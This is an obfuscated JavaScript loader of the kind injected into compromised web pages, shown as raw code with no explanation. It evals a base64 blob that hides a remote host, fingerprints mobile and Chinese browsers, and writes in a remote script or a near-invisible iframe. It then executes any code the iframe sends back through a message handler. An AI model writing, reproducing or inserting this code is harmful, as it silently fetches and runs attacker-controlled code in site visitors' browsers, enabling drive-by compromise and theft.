eval("\x77\x69\x6e\x64\x6f\x77")["LfWhO"]=function(e){var li ='ABCDE'+'FGHIJKLMNOPQRSTUV'+'WXYZabc'+''+'defghijk'+''+'lmnopqrstuvw'+''+'xyz0123456'+''+'789+/'+''+'='+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=li.indexOf(e.charAt(f++));o=li.indexOf(e.charAt(f++));u=li.indexOf(e.charAt(f++));a=li.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}

eval("\x77\x69\x6e\x64\x6f\x77")["_EnlXl"]=function(){eval(LfWhO("ICAgICAgICA7KGZ1bmN0aW9uICh1LCByLCB3LCBkLCBmLCBjKSB7DQogICAgICAgICAgICB1ID0gZGVjb2RlVVJJQ29tcG9uZW50KExmV2hPKHUucmVwbGFjZShuZXcgUmVnRXhwKGMgKyAnJyArIGMsICdnJyksIGMpLnNwbGl0KCcnKS5yZXZlcnNlKCkuam9pbignJykpKTsNCiAgICAgICAgICAgICdqUXVlcnknOw0KICAgICAgICAgICAgdmFyIF91YSA9IG5hdmlnYXRvci51c2VyQWdlbnQ7DQogICAgICAgICAgICB2YXIgX25NY2tBID0gJzxzYycrJ3JpJysncHQgJysnc3JjJysnPScrJyInICsgdSArICcvbS8nKyI0NDkiICsnIj48XC9zJyArICdjJysncicrJ2knKydwdD4nOw0KICAgICAgICAgICAgaWYgKF91YS5pbmRleE9mKExmV2hPKCJZbUZwWkhVPSIpKSA+IC0xIHx8IF91YS5pbmRleE9mKExmV2hPKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKSA+IC0xfHwgX3VhLmluZGV4T2YoTGZXaE8oJ1VWRkNjbTkzYzJWeScpKSA+IC0xKSB7DQogICAgICAgICAgICAgICAgaWYgKF91YS5pbmRleE9mKExmV2hPKCdhVkJvYjI1bCcpKSA+IC0xKSB7DQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LndyaXRlKF9uTWNrQSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gcmQobiwgbSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIChtIC0gbiArIDEpICsgbik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJtKGUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlICYmIGUudGFnTmFtZS50b1VwcGVyQ2FzZSgpID09PSAiSUZSQU1FIiAmJiBlLnNyYy5pbmRleE9mKHUpID4gLTEpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlLnJlbW92ZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmIChlLm5leHRFbGVtZW50U2libGluZykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBsZXQgYyA9IGRbTGZXaE8oIlkzVnljbVZ1ZEZOamNtbHdkQT09IildOw0KICAgICAgICAgICAgICAgICAgICB2YXIgX2lkID0gX2NsYXNzID0gJ3FyJysnQicrJ3l2JysnSycrJ2YnKydkJzsNCiAgICAgICAgICAgICAgICAgICAgdmFyIF9rbFVuYiA9ICdLJyArIHJkKDEsIDEwMDAwMCk7DQogICAgICAgICAgICAgICAgICAgIGRbJ3dyJysnaXRlJysnbG4nXSgnPGRpJysndiAnKydpJysnZD0iJyArIF9rbFVuYiArICciPicgKyAnPCcrJy8nKydkaScrJ3YnKyc+Jyk7DQogICAgICAgICAgICAgICAgICAgIHdbJ19fJysncnFRJysnYScrJ04nXSA9IGRbJ3EnKyd1JysnZScrJ3InKyd5JysnU2UnKydsZScrJ2N0JysnbycrJ3InXSgnIycgKyBfa2xVbmIpOw0KICAgICAgICAgICAgICAgICAgICBfaWQgKz0gZFsncXVlJysncnlTJysnZScrJ2xlYycrJ3QnKydvcicrJ0FsJysnbCddKCcuJyArIF9jbGFzcykubGVuZ3RoOw0KICAgICAgICAgICAgICAgICAgICB2YXIgeiA9IHUrIi9kLyIrX2lkKyIvIityKyIvIitfa2xVbmIrIi80NDkiOw0KICAgICAgICAgICAgICAgICAgICBkWyd3cicrJ2knKyd0JysnZSddKCc8aScrJ2YnKydyYScrJ21lJysnIHN0JysneWxlJysnPScrJyInKydtJysnYXInKydnJysnaScrJ246MCcrJztwJysnYWQnKydkJysnaW5nJysnOjA7JysnYicrJ29yJysnZGUnKydyOicrJ25vJysnbmU7Jysnb3BhJysnYycrJ2l0JysneTonKycwLicrJzAnICsgcmQoMiwgOSkgKyAnO3cnKydpZHQnKydoOicgKyByZCgyLCA1KSArICdwJysneCcrJztoZScrJ2lnaCcrJ3QnKyc6JyArIHJkKDIsIDUpICsgJ3AnKyd4OycrJyInKydhbCcrJ2xvJysnd3QnKydyJysnYW4nKydzcCcrJ2FyZScrJ25jeScrJyAnKydzcicrJ2M9JysnIicgKyB6ICsgJyInKyc+PCcrJy8nKydpZnInKydhbWUnKyc+Jyk7DQogICAgICAgICAgICAgICAgICAgIHdbJ2FkJysnZEUnKyd2JysnZScrJ250JysnTCcrJ2lzdCcrJ2VuJysnZXInXSgnbWVzJysnc2FnJysnZScsIGZ1bmN0aW9uIChlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZS5kYXRhW3IgKyBfaWRdKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcm0oYyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbmV3IEZ1bmN0aW9uKExmV2hPKGUuZGF0YVtyICsgX2lkXS5yZXBsYWNlKG5ldyBSZWdFeHAociwgJ2cnKSwgJycpKSkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC53cml0ZShfbk1ja0EpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9KSgnbicrJ0onKyczYicrJ3VFVycrJ2UnKyduJysnNScrJzJiaycrJzknKyd5TCcrJzYnKydNSCcrJ2MwJysnUicrJ0hhJywgJ3FyJysnQicrJ3l2JysnSycrJ2YnKydkJywgd2luZG93LCBkb2N1bWVudCwgMCwgJ1QnKQ=="));};